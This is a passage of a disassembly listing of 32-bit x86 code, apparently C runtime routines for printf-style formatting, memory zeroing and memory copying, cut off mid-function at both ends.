		mov	[ebp+1F8h+var_240], ebx
		jmp	loc_4112F4	; default
; ---------------------------------------------------------------------------

loc_410CCB:				; CODE XREF: sub_4109D7+2DBj
					; sub_4109D7+2E1j
		cmp	al, 33h
		jnz	short loc_410CE6
		cmp	byte ptr [ebx+1], 32h
		jnz	short loc_410CE6
		inc	ebx
		inc	ebx
		and	[ebp+1F8h+var_210], 0FFFF7FFFh
		mov	[ebp+1F8h+var_240], ebx
		jmp	loc_4112F4	; default
; ---------------------------------------------------------------------------

loc_410CE6:				; CODE XREF: sub_4109D7+2F6j
					; sub_4109D7+2FCj
		cmp	al, 64h
		jz	loc_4112F4	; default
		cmp	al, 69h
		jz	loc_4112F4	; default
		cmp	al, 6Fh
		jz	loc_4112F4	; default
		cmp	al, 75h
		jz	loc_4112F4	; default
		cmp	al, 78h
		jz	loc_4112F4	; default
		cmp	al, 58h
		jz	loc_4112F4	; default
		mov	[ebp+1F8h+var_26C], esi

loc_410D19:				; CODE XREF: sub_4109D7+1A2j
					; DATA XREF: .text:off_41134Fo
		lea	eax, [ebp+1F8h+var_25C]	; jumptable 00410B79 case 0
		push	eax
		movzx	eax, dl
		push	eax
		mov	[ebp+1F8h+var_23C], esi
		call	sub_416760
		pop	ecx
		test	eax, eax
		mov	al, [ebp+1F8h+var_211]
		pop	ecx
		jz	short loc_410D4B
		mov	ecx, [ebp+1F8h+var_228]
		lea	esi, [ebp+1F8h+var_22C]
		call	sub_410936
		mov	al, [ebx]
		inc	ebx
		test	al, al
		mov	[ebp+1F8h+var_240], ebx
		jz	loc_41130D

loc_410D4B:				; CODE XREF: sub_4109D7+359j
		mov	ecx, [ebp+1F8h+var_228]
		lea	esi, [ebp+1F8h+var_22C]
		call	sub_410936
		jmp	loc_4112F4	; default
; ---------------------------------------------------------------------------

loc_410D5B:				; CODE XREF: sub_4109D7+1A2j
					; DATA XREF: .text:off_41134Fo
		movsx	eax, dl		; jumptable 00410B79 case 7
		cmp	eax, 64h
		jg	loc_410ED9
		jz	loc_410F58
		cmp	eax, 53h
		jg	loc_410E21
		jz	short loc_410DD2
		sub	eax, 41h
		jz	short loc_410D8D
		dec	eax
		dec	eax
		jz	short loc_410DC1
		dec	eax
		dec	eax
		jz	short loc_410D8D
		dec	eax
		dec	eax
		jnz	loc_4111DC

loc_410D8D:				; CODE XREF: sub_4109D7+3A4j
					; sub_4109D7+3ACj
		add	dl, 20h
		mov	[ebp+1F8h+var_270], 1
		mov	[ebp+1F8h+var_211], dl

loc_410D9A:				; CODE XREF: sub_4109D7+459j
					; sub_4109D7+51Dj
		or	[ebp+1F8h+var_210], 40h
		cmp	[ebp+1F8h+var_218], esi
		lea	ebx, [ebp+1F8h+var_20C]
		mov	eax, 200h
		mov	[ebp+1F8h+var_21C], ebx
		mov	[ebp+1F8h+var_260], eax
		jge	loc_410F7C
		mov	[ebp+1F8h+var_218], 6
		jmp	loc_410FCA
; ---------------------------------------------------------------------------

loc_410DC1:				; CODE XREF: sub_4109D7+3A8j
		test	word ptr [ebp+1F8h+var_210], 830h
		jnz	short loc_410E3E
		or	[ebp+1F8h+var_210], 800h
		jmp	short loc_410E3E
; ---------------------------------------------------------------------------

loc_410DD2:				; CODE XREF: sub_4109D7+39Fj
		test	word ptr [ebp+1F8h+var_210], 830h
		jnz	short loc_410DE1
		or	[ebp+1F8h+var_210], 800h

loc_410DE1:				; CODE XREF: sub_4109D7+401j
					; sub_4109D7+694j
		mov	ecx, [ebp+1F8h+var_218]
		cmp	ecx, 0FFFFFFFFh
		jnz	short loc_410DEE
		mov	ecx, 7FFFFFFFh

loc_410DEE:				; CODE XREF: sub_4109D7+410j
		add	edi, 4
		test	word ptr [ebp+1F8h+var_210], 810h
		mov	[ebp+1F8h+var_224], edi
		mov	edi, [edi-4]
		mov	[ebp+1F8h+var_21C], edi
		jz	loc_4111BA
		cmp	edi, esi
		jnz	short loc_410E12
		mov	eax, off_423928
		mov	[ebp+1F8h+var_21C], eax

loc_410E12:				; CODE XREF: sub_4109D7+431j
		mov	eax, [ebp+1F8h+var_21C]
		mov	[ebp+1F8h+var_23C], 1
		jmp	loc_4111AF
; ---------------------------------------------------------------------------

loc_410E21:				; CODE XREF: sub_4109D7+399j
		sub	eax, 58h
		jz	loc_411063
		dec	eax
		dec	eax
		jz	short loc_410E8B
		sub	eax, ecx
		jz	loc_410D9A
		dec	eax
		dec	eax
		jnz	loc_4111DC

loc_410E3E:				; CODE XREF: sub_4109D7+3F0j
					; sub_4109D7+3F9j
		add	edi, 4
		test	word ptr [ebp+1F8h+var_210], 810h
		mov	[ebp+1F8h+var_224], edi
		jz	short loc_410E73
		movzx	eax, word ptr [edi-4]
		push	eax
		push	200h
		lea	eax, [ebp+1F8h+var_20C]
		push	eax
		lea	eax, [ebp+1F8h+var_220]
		push	eax
		call	sub_417492
		add	esp, 10h
		test	eax, eax
		jz	short loc_410E80
		mov	[ebp+1F8h+var_248], 1
		jmp	short loc_410E80
; ---------------------------------------------------------------------------

loc_410E73:				; CODE XREF: sub_4109D7+473j
		mov	al, [edi-4]
		mov	[ebp+1F8h+var_20C], al
		mov	[ebp+1F8h+var_220], 1

loc_410E80:				; CODE XREF: sub_4109D7+491j
					; sub_4109D7+49Aj
		lea	eax, [ebp+1F8h+var_20C]
		mov	[ebp+1F8h+var_21C], eax
		jmp	loc_4111DC
; ---------------------------------------------------------------------------

loc_410E8B:				; CODE XREF: sub_4109D7+455j
		mov	eax, [edi]
		add	edi, 4
		cmp	eax, esi
		mov	[ebp+1F8h+var_224], edi
		jz	short loc_410EC5
		mov	ecx, [eax+4]
		cmp	ecx, esi
		jz	short loc_410EC5
		test	word ptr [ebp+1F8h+var_210], 800h
		movsx	eax, word ptr [eax]
		mov	[ebp+1F8h+var_21C], ecx
		jz	short loc_410EBD
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+1F8h+var_23C], 1
		jmp	loc_4111D9
; ---------------------------------------------------------------------------

loc_410EBD:				; CODE XREF: sub_4109D7+4D3j
		mov	[ebp+1F8h+var_23C], esi
		jmp	loc_4111D9
; ---------------------------------------------------------------------------

loc_410EC5:				; CODE XREF: sub_4109D7+4BEj
					; sub_4109D7+4C5j
		mov	eax, off_423924
		mov	[ebp+1F8h+var_21C], eax
		push	eax

loc_410ECE:				; CODE XREF: sub_4109D7+680j
		call	sub_40C500
		pop	ecx
		jmp	loc_4111D9
; ---------------------------------------------------------------------------

loc_410ED9:				; CODE XREF: sub_4109D7+38Aj
		cmp	eax, 70h
		jg	loc_411068
		jz	loc_41105C
		cmp	eax, 65h
		jl	loc_4111DC
		cmp	eax, 67h
		jle	loc_410D9A
		cmp	eax, 69h
		jz	short loc_410F58
		cmp	eax, 6Eh
		jz	short loc_410F23
		cmp	eax, 6Fh
		jnz	loc_4111DC
		test	byte ptr [ebp+1F8h+var_210], 80h
		mov	[ebp+1F8h+var_220], 8
		jz	short loc_410F63
		or	[ebp+1F8h+var_210], 200h
		jmp	short loc_410F63
; ---------------------------------------------------------------------------

loc_410F23:				; CODE XREF: sub_4109D7+52Bj
		mov	esi, [edi]
		add	edi, 4
		mov	[ebp+1F8h+var_224], edi
		call	sub_41731D
		test	eax, eax
		jz	loc_41130D
		test	byte ptr [ebp+1F8h+var_210], 20h
		jz	short loc_410F47
		mov	ax, word ptr [ebp+1F8h+var_22C]
		mov	[esi], ax
		jmp	short loc_410F4C
; ---------------------------------------------------------------------------

loc_410F47:				; CODE XREF: sub_4109D7+565j
		mov	eax, [ebp+1F8h+var_22C]
		mov	[esi], eax

loc_410F4C:				; CODE XREF: sub_4109D7+56Ej
		mov	[ebp+1F8h+var_248], 1
		jmp	loc_4112E1
; ---------------------------------------------------------------------------

loc_410F58:				; CODE XREF: sub_4109D7+390j
					; sub_4109D7+526j
		or	[ebp+1F8h+var_210], 40h

loc_410F5C:				; CODE XREF: sub_4109D7+69Cj
		mov	[ebp+1F8h+var_220], 0Ah

loc_410F63:				; CODE XREF: sub_4109D7+541j
					; sub_4109D7+54Aj ...
		mov	ecx, [ebp+1F8h+var_210]
		test	cx, cx
		jns	loc_4110B2

loc_410F6F:				; CODE XREF: sub_4109D7+6E0j
		mov	eax, [edi]
		mov	edx, [edi+4]
		add	edi, 8
		jmp	loc_4110E7
; ---------------------------------------------------------------------------

loc_410F7C:				; CODE XREF: sub_4109D7+3D8j
		jnz	short loc_410F8C
		cmp	dl, 67h
		jnz	short loc_410FCA
		mov	[ebp+1F8h+var_218], 1
		jmp	short loc_410FCA
; ---------------------------------------------------------------------------

loc_410F8C:				; CODE XREF: sub_4109D7:loc_410F7Cj
		cmp	[ebp+1F8h+var_218], eax
		jle	short loc_410F94
		mov	[ebp+1F8h+var_218], eax

loc_410F94:				; CODE XREF: sub_4109D7+5B8j
		cmp	[ebp+1F8h+var_218], 0A3h
		jle	short loc_410FCA
		mov	esi, [ebp+1F8h+var_218]
		add	esi, 15Dh
		push	esi
		call	sub_41183A
		test	eax, eax
		mov	dl, [ebp+1F8h+var_211]
		pop	ecx
		mov	[ebp+1F8h+var_24C], eax
		jz	short loc_410FC1
		mov	[ebp+1F8h+var_21C], eax
		mov	[ebp+1F8h+var_260], esi
		mov	ebx, eax
		jmp	short loc_410FC8
; ---------------------------------------------------------------------------

loc_410FC1:				; CODE XREF: sub_4109D7+5DEj
		mov	[ebp+1F8h+var_218], 0A3h

loc_410FC8:				; CODE XREF: sub_4109D7+5E8j
		xor	esi, esi

loc_410FCA:				; CODE XREF: sub_4109D7+3E5j
					; sub_4109D7+5AAj ...
		mov	eax, [edi]
		add	edi, 8
		mov	[ebp+1F8h+var_278], eax
		mov	eax, [edi-4]
		mov	[ebp+1F8h+var_274], eax
		lea	eax, [ebp+1F8h+var_25C]
		push	eax
		push	[ebp+1F8h+var_270]
		movsx	eax, dl
		push	[ebp+1F8h+var_218]
		mov	[ebp+1F8h+var_224], edi
		push	eax
		push	[ebp+1F8h+var_260]
		lea	eax, [ebp+1F8h+var_278]
		push	ebx
		push	eax
		push	off_423F78
		call	sub_40F194
		pop	ecx
		call	eax
		mov	edi, [ebp+1F8h+var_210]
		add	esp, 1Ch
		and	edi, 80h
		jz	short loc_411027
		cmp	[ebp+1F8h+var_218], esi
		jnz	short loc_411027
		lea	eax, [ebp+1F8h+var_25C]
		push	eax
		push	ebx
		push	off_423F84
		call	sub_40F194
		pop	ecx
		call	eax
		pop	ecx
		pop	ecx

loc_411027:				; CODE XREF: sub_4109D7+634j
					; sub_4109D7+639j
		cmp	[ebp+1F8h+var_211], 67h
		jnz	short loc_411046
		cmp	edi, esi
		jnz	short loc_411046
		lea	eax, [ebp+1F8h+var_25C]
		push	eax
		push	ebx
		push	off_423F80
		call	sub_40F194
		pop	ecx
		call	eax
		pop	ecx
		pop	ecx

loc_411046:				; CODE XREF: sub_4109D7+654j
					; sub_4109D7+658j
		cmp	byte ptr [ebx],	2Dh
		jnz	short loc_411056
		or	[ebp+1F8h+var_210], 100h
		inc	ebx
		mov	[ebp+1F8h+var_21C], ebx

loc_411056:				; CODE XREF: sub_4109D7+672j
		push	ebx
		jmp	loc_410ECE
; ---------------------------------------------------------------------------

loc_41105C:				; CODE XREF: sub_4109D7+50Bj
		mov	[ebp+1F8h+var_218], 8

loc_411063:				; CODE XREF: sub_4109D7+44Dj
		mov	[ebp+1F8h+var_244], ecx
		jmp	short loc_411089
; ---------------------------------------------------------------------------

loc_411068:				; CODE XREF: sub_4109D7+505j
		sub	eax, 73h
		jz	loc_410DE1
		dec	eax
		dec	eax
		jz	loc_410F5C
		sub	eax, 3
		jnz	loc_4111DC
		mov	[ebp+1F8h+var_244], 27h

loc_411089:				; CODE XREF: sub_4109D7+68Fj
		test	byte ptr [ebp+1F8h+var_210], 80h
		mov	[ebp+1F8h+var_220], 10h
		jz	loc_410F63
		mov	al, byte ptr [ebp+1F8h+var_244]
		add	al, 51h
		mov	[ebp+1F8h+var_230], 30h
		mov	[ebp+1F8h+var_22F], al
		mov	[ebp+1F8h+var_234], 2
		jmp	loc_410F63
; ---------------------------------------------------------------------------

loc_4110B2:				; CODE XREF: sub_4109D7+592j
		test	cx, 1000h
		jnz	loc_410F6F
		add	edi, 4
		test	cl, 20h
		jz	short loc_4110DA
		test	cl, 40h
		mov	[ebp+1F8h+var_224], edi
		jz	short loc_4110D3
		movsx	eax, word ptr [edi-4]
		jmp	short loc_4110D7
; ---------------------------------------------------------------------------

loc_4110D3:				; CODE XREF: sub_4109D7+6F4j
		movzx	eax, word ptr [edi-4]

loc_4110D7:				; CODE XREF: sub_4109D7+6FAj
		cdq
		jmp	short loc_4110EA
; ---------------------------------------------------------------------------

loc_4110DA:				; CODE XREF: sub_4109D7+6ECj
		test	cl, 40h
		mov	eax, [edi-4]
		jz	short loc_4110E5
		cdq
		jmp	short loc_4110E7
; ---------------------------------------------------------------------------

loc_4110E5:				; CODE XREF: sub_4109D7+709j
		xor	edx, edx

loc_4110E7:				; CODE XREF: sub_4109D7+5A0j
					; sub_4109D7+70Cj
		mov	[ebp+1F8h+var_224], edi

loc_4110EA:				; CODE XREF: sub_4109D7+701j
		test	cl, 40h
		jz	short loc_411107
		cmp	edx, esi
		jg	short loc_411107
		jl	short loc_4110F9
		cmp	eax, esi
		jnb	short loc_411107

loc_4110F9:				; CODE XREF: sub_4109D7+71Cj
		neg	eax
		adc	edx, 0
		neg	edx
		or	[ebp+1F8h+var_210], 100h

loc_411107:				; CODE XREF: sub_4109D7+716j
					; sub_4109D7+71Aj ...
		test	word ptr [ebp+1F8h+var_210], 9000h
		mov	ebx, edx
		mov	edi, eax
		jnz	short loc_411115
		xor	ebx, ebx

loc_411115:				; CODE XREF: sub_4109D7+73Aj
		cmp	[ebp+1F8h+var_218], 0
		jge	short loc_411124
		mov	[ebp+1F8h+var_218], 1
		jmp	short loc_411135
; ---------------------------------------------------------------------------

loc_411124:				; CODE XREF: sub_4109D7+742j
		and	[ebp+1F8h+var_210], 0FFFFFFF7h
		mov	eax, 200h
		cmp	[ebp+1F8h+var_218], eax
		jle	short loc_411135
		mov	[ebp+1F8h+var_218], eax

loc_411135:				; CODE XREF: sub_4109D7+74Bj
					; sub_4109D7+759j
		mov	eax, edi
		or	eax, ebx
		jnz	short loc_41113F
		and	[ebp+1F8h+var_234], 0

loc_41113F:				; CODE XREF: sub_4109D7+762j
		lea	esi, [ebp+1F8h+var_D]

loc_411145:				; CODE XREF: sub_4109D7+7A0j
		mov	eax, [ebp+1F8h+var_218]
		dec	[ebp+1F8h+var_218]
		test	eax, eax
		jg	short loc_411155
		mov	eax, edi
		or	eax, ebx
		jz	short loc_411179

loc_411155:				; CODE XREF: sub_4109D7+776j
		mov	eax, [ebp+1F8h+var_220]
		cdq
		push	edx
		push	eax
		push	ebx
		push	edi
		call	sub_4174B0
		add	ecx, 30h
		cmp	ecx, 39h
		mov	[ebp+1F8h+var_260], ebx
		mov	edi, eax
		mov	ebx, edx
		jle	short loc_411174
		add	ecx, [ebp+1F8h+var_244]

loc_411174:				; CODE XREF: sub_4109D7+798j
		mov	[esi], cl
		dec	esi
		jmp	short loc_411145
; ---------------------------------------------------------------------------

loc_411179:				; CODE XREF: sub_4109D7+77Cj
		lea	eax, [ebp+1F8h+var_D]
		sub	eax, esi
		inc	esi
		test	word ptr [ebp+1F8h+var_210], 200h
		mov	[ebp+1F8h+var_220], eax
		mov	[ebp+1F8h+var_21C], esi
		jz	short loc_4111DC
		test	eax, eax
		jz	short loc_41119B
		mov	ecx, esi
		cmp	byte ptr [ecx],	30h
		jz	short loc_4111DC

loc_41119B:				; CODE XREF: sub_4109D7+7BBj
		dec	[ebp+1F8h+var_21C]
		mov	ecx, [ebp+1F8h+var_21C]
		mov	byte ptr [ecx],	30h
		inc	eax
		jmp	short loc_4111D9
; ---------------------------------------------------------------------------

loc_4111A7:				; CODE XREF: sub_4109D7+7DAj
		dec	ecx
		cmp	[eax], si
		jz	short loc_4111B3
		inc	eax
		inc	eax

loc_4111AF:				; CODE XREF: sub_4109D7+445j
		cmp	ecx, esi
		jnz	short loc_4111A7

loc_4111B3:				; CODE XREF: sub_4109D7+7D4j
		sub	eax, [ebp+1F8h+var_21C]
		sar	eax, 1
		jmp	short loc_4111D9
; ---------------------------------------------------------------------------

loc_4111BA:				; CODE XREF: sub_4109D7+429j
		cmp	edi, esi
		jnz	short loc_4111C6
		mov	eax, off_423924
		mov	[ebp+1F8h+var_21C], eax

loc_4111C6:				; CODE XREF: sub_4109D7+7E5j
		mov	eax, [ebp+1F8h+var_21C]
		jmp	short loc_4111D2
; ---------------------------------------------------------------------------

loc_4111CB:				; CODE XREF: sub_4109D7+7FDj
		dec	ecx
		cmp	byte ptr [eax],	0
		jz	short loc_4111D6
		inc	eax

loc_4111D2:				; CODE XREF: sub_4109D7+7F2j
		cmp	ecx, esi
		jnz	short loc_4111CB

loc_4111D6:				; CODE XREF: sub_4109D7+7F8j
		sub	eax, [ebp+1F8h+var_21C]

loc_4111D9:				; CODE XREF: sub_4109D7+4E1j
					; sub_4109D7+4E9j ...
		mov	[ebp+1F8h+var_220], eax

loc_4111DC:				; CODE XREF: sub_4109D7+3B0j
					; sub_4109D7+461j ...
		cmp	[ebp+1F8h+var_248], 0
		jnz	loc_4112E1
		mov	eax, [ebp+1F8h+var_210]
		test	al, 40h
		jz	short loc_411212
		test	ax, 100h
		jz	short loc_4111F9
		mov	[ebp+1F8h+var_230], 2Dh
		jmp	short loc_41120B
; ---------------------------------------------------------------------------

loc_4111F9:				; CODE XREF: sub_4109D7+81Aj
		test	al, 1
		jz	short loc_411203
		mov	[ebp+1F8h+var_230], 2Bh
		jmp	short loc_41120B
; ---------------------------------------------------------------------------

loc_411203:				; CODE XREF: sub_4109D7+824j
		test	al, 2
		jz	short loc_411212
		mov	[ebp+1F8h+var_230], 20h

loc_41120B:				; CODE XREF: sub_4109D7+820j
					; sub_4109D7+82Aj
		mov	[ebp+1F8h+var_234], 1

loc_411212:				; CODE XREF: sub_4109D7+814j
					; sub_4109D7+82Ej
		mov	ebx, [ebp+1F8h+var_238]
		sub	ebx, [ebp+1F8h+var_220]
		sub	ebx, [ebp+1F8h+var_234]
		test	byte ptr [ebp+1F8h+var_210], 0Ch
		jnz	short loc_411232
		push	[ebp+1F8h+var_228]
		lea	eax, [ebp+1F8h+var_22C]
		push	ebx
		push	20h
		call	sub_410969
		add	esp, 0Ch

loc_411232:				; CODE XREF: sub_4109D7+848j
		push	[ebp+1F8h+var_234]
		mov	edi, [ebp+1F8h+var_228]
		lea	eax, [ebp+1F8h+var_22C]
		lea	ecx, [ebp+1F8h+var_230]
		call	sub_41098D
		test	byte ptr [ebp+1F8h+var_210], 8
		pop	ecx
		jz	short loc_41125F
		test	byte ptr [ebp+1F8h+var_210], 4
		jnz	short loc_41125F
		push	edi
		push	ebx
		push	30h
		lea	eax, [ebp+1F8h+var_22C]
		call	sub_410969
		add	esp, 0Ch

loc_41125F:				; CODE XREF: sub_4109D7+871j
					; sub_4109D7+877j
		cmp	[ebp+1F8h+var_23C], 0
		mov	eax, [ebp+1F8h+var_220]
		jz	short loc_4112B9
		test	eax, eax
		jle	short loc_4112B9
		mov	esi, [ebp+1F8h+var_21C]
		mov	[ebp+1F8h+var_260], eax

loc_411272:				; CODE XREF: sub_4109D7+8D8j
		movzx	eax, word ptr [esi]
		dec	[ebp+1F8h+var_260]
		push	eax
		push	6
		lea	eax, [ebp+1F8h+var_C]
		push	eax
		lea	eax, [ebp+1F8h+var_268]
		inc	esi
		push	eax
		inc	esi
		call	sub_417492
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4112B3
		cmp	[ebp+1F8h+var_268], eax
		jz	short loc_4112B3
		push	[ebp+1F8h+var_268]
		lea	eax, [ebp+1F8h+var_22C]
		lea	ecx, [ebp+1F8h+var_C]
		call	sub_41098D
		cmp	[ebp+1F8h+var_260], 0
		pop	ecx
		jnz	short loc_411272
		jmp	short loc_4112C6
; ---------------------------------------------------------------------------

loc_4112B3:				; CODE XREF: sub_4109D7+8BBj
					; sub_4109D7+8C0j
		or	[ebp+1F8h+var_22C], 0FFFFFFFFh
		jmp	short loc_4112C6
; ---------------------------------------------------------------------------

loc_4112B9:				; CODE XREF: sub_4109D7+88Fj
					; sub_4109D7+893j
		mov	ecx, [ebp+1F8h+var_21C]
		push	eax
		lea	eax, [ebp+1F8h+var_22C]
		call	sub_41098D
		pop	ecx

loc_4112C6:				; CODE XREF: sub_4109D7+8DAj
					; sub_4109D7+8E0j
		cmp	[ebp+1F8h+var_22C], 0
		jl	short loc_4112E1
		test	byte ptr [ebp+1F8h+var_210], 4
		jz	short loc_4112E1
		push	edi
		push	ebx
		push	20h
		lea	eax, [ebp+1F8h+var_22C]
		call	sub_410969
		add	esp, 0Ch

loc_4112E1:				; CODE XREF: sub_4109D7+57Cj
					; sub_4109D7+809j ...
		cmp	[ebp+1F8h+var_24C], 0
		jz	short loc_4112F4 ; default
		push	[ebp+1F8h+var_24C]
		call	sub_40D35A
		and	[ebp+1F8h+var_24C], 0
		pop	ecx

loc_4112F4:				; CODE XREF: sub_4109D7+19Cj
					; sub_4109D7+1BFj ...
		mov	ebx, [ebp+1F8h+var_240]	; default
		mov	al, [ebx]
		test	al, al
		mov	[ebp+1F8h+var_211], al
		jz	short loc_411324
		mov	ecx, [ebp+1F8h+var_26C]
		mov	edi, [ebp+1F8h+var_224]
		mov	dl, al
		jmp	loc_410B35
; ---------------------------------------------------------------------------

loc_41130D:				; CODE XREF: sub_4109D7+36Ej
					; sub_4109D7+55Bj
		call	sub_40F7D4
		mov	dword ptr [eax], 16h
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		jmp	loc_410A47
; ---------------------------------------------------------------------------

loc_411324:				; CODE XREF: sub_4109D7+158j
					; sub_4109D7+166j ...
		cmp	[ebp+1F8h+var_250], 0
		jz	short loc_411331
		mov	eax, [ebp+1F8h+var_254]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_411331:				; CODE XREF: sub_4109D7+951j
		mov	eax, [ebp+1F8h+var_22C]

loc_411334:				; CODE XREF: sub_4109D7+88j
		mov	ecx, [ebp+1F8h+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		add	ebp, 1F8h
		leave
		retn
sub_4109D7	endp

; ---------------------------------------------------------------------------
		db 8Dh,	49h, 0
off_41134F	dd offset loc_410D19	; DATA XREF: sub_4109D7+1A2r
		dd offset loc_410B80	; jump table for switch	statement
		dd offset loc_410B9B
		dd offset loc_410BEA
		dd offset loc_410C24
		dd offset loc_410C2C
		dd offset loc_410C63
		dd offset loc_410D5B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41136F	proc near		; CODE XREF: sub_4113C6+31p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[ebp+var_4], edi
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		shr	ecx, 7
		pxor	xmm0, xmm0
		jmp	short loc_41138F
; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h, 4 dup(0)
		db 90h
; ---------------------------------------------------------------------------

loc_41138F:				; CODE XREF: sub_41136F+16j
					; sub_41136F+4Ej
		movdqa	oword ptr [edi], xmm0
		movdqa	oword ptr [edi+10h], xmm0
		movdqa	oword ptr [edi+20h], xmm0
		movdqa	oword ptr [edi+30h], xmm0
		movdqa	oword ptr [edi+40h], xmm0
		movdqa	oword ptr [edi+50h], xmm0
		movdqa	oword ptr [edi+60h], xmm0
		movdqa	oword ptr [edi+70h], xmm0
		lea	edi, [edi+80h]
		dec	ecx
		jnz	short loc_41138F
		mov	edi, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41136F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4113C6	proc near		; CODE XREF: sub_40C6F0+27j
					; sub_4113C6+7Dp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_4], edi
		mov	eax, [ebp+arg_0]
		cdq
		mov	edi, eax
		xor	edi, edx
		sub	edi, edx
		and	edi, 0Fh
		xor	edi, edx
		sub	edi, edx
		test	edi, edi
		jnz	short loc_411420
		mov	ecx, [ebp+arg_8]
		mov	edx, ecx
		and	edx, 7Fh
		mov	[ebp+var_C], edx
		cmp	ecx, edx
		jz	short loc_411405
		sub	ecx, edx
		push	ecx
		push	eax
		call	sub_41136F
		add	esp, 8
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+var_C]

loc_411405:				; CODE XREF: sub_4113C6+2Bj
		test	edx, edx
		jz	short loc_41144E
		add	eax, [ebp+arg_8]
		sub	eax, edx
		mov	[ebp+var_8], eax
		xor	eax, eax
		mov	edi, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		rep stosb
		mov	eax, [ebp+arg_0]
		jmp	short loc_41144E
; ---------------------------------------------------------------------------

loc_411420:				; CODE XREF: sub_4113C6+1Cj
		neg	edi
		add	edi, 10h
		mov	[ebp+var_10], edi
		xor	eax, eax
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+var_10]
		rep stosb
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		add	ecx, eax
		sub	edx, eax
		push	edx
		push	0
		push	ecx
		call	sub_4113C6
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]

loc_41144E:				; CODE XREF: sub_4113C6+41j
					; sub_4113C6+58j
		mov	edi, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4113C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_411455	proc near		; DATA XREF: r69pu5ti:0041E2C0o
		and	dword_434D3C, 0
		call	sub_417595
		mov	dword_434D3C, eax
		xor	eax, eax
		retn
sub_411455	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411470	proc near		; CODE XREF: sub_40C76F+4Dp
					; sub_40FB50+2DAp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_411490
		cmp	edi, eax
		jb	loc_411634

loc_411490:				; CODE XREF: sub_411470+16j
		cmp	ecx, 100h
		jb	short loc_4114B7
		cmp	dword_434D40, 0
		jz	short loc_4114B7
		push	edi
		push	esi
		and	edi, 0Fh
		and	esi, 0Fh
		cmp	edi, esi
		pop	esi
		pop	edi
		jnz	short loc_4114B7
		pop	esi
		pop	edi
		pop	ebp
		jmp	sub_413921
; ---------------------------------------------------------------------------

loc_4114B7:				; CODE XREF: sub_411470+26j
					; sub_411470+2Fj ...
		test	edi, 3
		jnz	short loc_4114D4
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4114F4
		rep movsd
		jmp	ds:off_4115E4[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_4114D4:				; CODE XREF: sub_411470+4Dj
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4114EC
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_4114F4+4[eax*4]
; ---------------------------------------------------------------------------

loc_4114EC:				; CODE XREF: sub_411470+6Ej
		jmp	dword ptr ds:loc_4115F4[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_4114F4:				; CODE XREF: sub_411470+58j
					; sub_411470+B6j ...
		jmp	ds:off_411578[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_411505+3
		dd offset loc_411534
; ---------------------------------------------------------------------------
		pop	eax

loc_411505:				; DATA XREF: sub_411470+8Co
		adc	eax, 0D1230041h
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4114F4
		rep movsd
		jmp	ds:off_4115E4[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_411534:				; DATA XREF: sub_411470+90o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4114F4
		rep movsd
		jmp	ds:off_4115E4[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		add	esi, 1
		shr	ecx, 2
		add	edi, 1
		cmp	ecx, 8
		jb	short loc_4114F4
		rep movsd
		jmp	ds:off_4115E4[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_411578	dd offset loc_4115DB	; DATA XREF: sub_411470:loc_4114F4r
		dd offset loc_4115C8
		dd offset loc_4115C0
		dd offset loc_4115B8
		dd offset loc_4115B0
		dd offset loc_4115A8
		dd offset loc_4115A0
		dd offset loc_411598
; ---------------------------------------------------------------------------

loc_411598:				; CODE XREF: sub_411470:loc_4114F4j
					; DATA XREF: sub_411470+124o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_4115A0:				; CODE XREF: sub_411470:loc_4114F4j
					; DATA XREF: sub_411470+120o
